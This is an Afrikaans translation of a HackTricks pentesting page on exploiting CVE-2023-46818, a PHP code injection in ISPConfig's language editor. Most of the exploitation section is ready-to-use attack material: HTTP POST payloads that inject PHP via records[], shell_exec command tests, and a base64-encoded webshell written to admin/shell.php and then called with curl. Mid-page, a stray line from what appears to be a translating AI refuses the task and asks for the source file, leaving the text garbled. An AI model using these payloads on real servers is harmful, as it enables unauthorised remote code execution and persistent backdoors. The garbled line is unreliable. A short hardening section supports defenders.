ISPConfig

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x weergawes het 'n taallêer-redigeerderfunksie gehad wat, wanneer geaktiveer vir die superbeheerder, arbitraire PHP-kode-inspuiting moontlik gemaak het deur 'n verkeerd gevormde vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation.

Belangrike standaardpade:

  • Web root dikwels by /var/www/ispconfig wanneer dit bedien word met php -S of via Apache/nginx.
  • Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig).

Wenk: As die paneel plaaslik gebind is (bv. 127.0.0.1:8080), forward dit:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Taalredigeerder PHP code injection (CVE-2023-46818)

  • Geaffekteer: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Voorvereistes:
  • Login as the built-in superadmin account admin (other roles are not affected according to the verskaffer)
  • Taalredigeerder moet geaktiveer wees: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impak: Geverifieerde admin kan arbitrêre PHP injekteer wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig

Verwysings: NVD entry CVE-2023-46818 and verskaffer advisory link in the References section below.

Handmatige uitbuitingvloei

  1. Open/create a language file to obtain CSRF tokens

Stuur 'n eerste POST om die vorm te inisialiseer en parseeer die CSRF-velde uit die HTML-antwoord (csrf_id, csrf_key). Example request path: /admin/language_edit.php.

  1. Inject PHP via records[] and save

Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimal command-execution toetse:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band-toets (waarneming van ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Skryf lêers en plaas 'n webshell

Gebruik file_put_contents om 'n lêer te skep onder 'n web-toeganklike pad (bv., admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Skryf dan 'n eenvoudige webshell wat base64 gebruik om slegte karakters in die POST body te vermy:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Ek het nie toegang tot jou lêerstelsel nie. Stuur asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md wat jy wil hê ek moet vertaal (of plak die gedeelte).

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

As PHP as root uitgevoer word (bv. via php -S 127.0.0.1:8080 begin deur root), lewer dit onmiddellik root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker.

Python PoC

'n gereed-vir-gebruik exploit outomatiseer token-hantering en payload-aflewering:

Voorbeelduitvoering:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Verharding

  • Opgradeer na 3.2.11p1 of 'n later weergawe
  • Skakel die taalredigeerder af tensy dit absoluut nodig is:
admin_allow_langedit=no
  • Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om privileges te drop
  • Handhaaf sterk outentisering vir die ingeboude admin-rekening

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks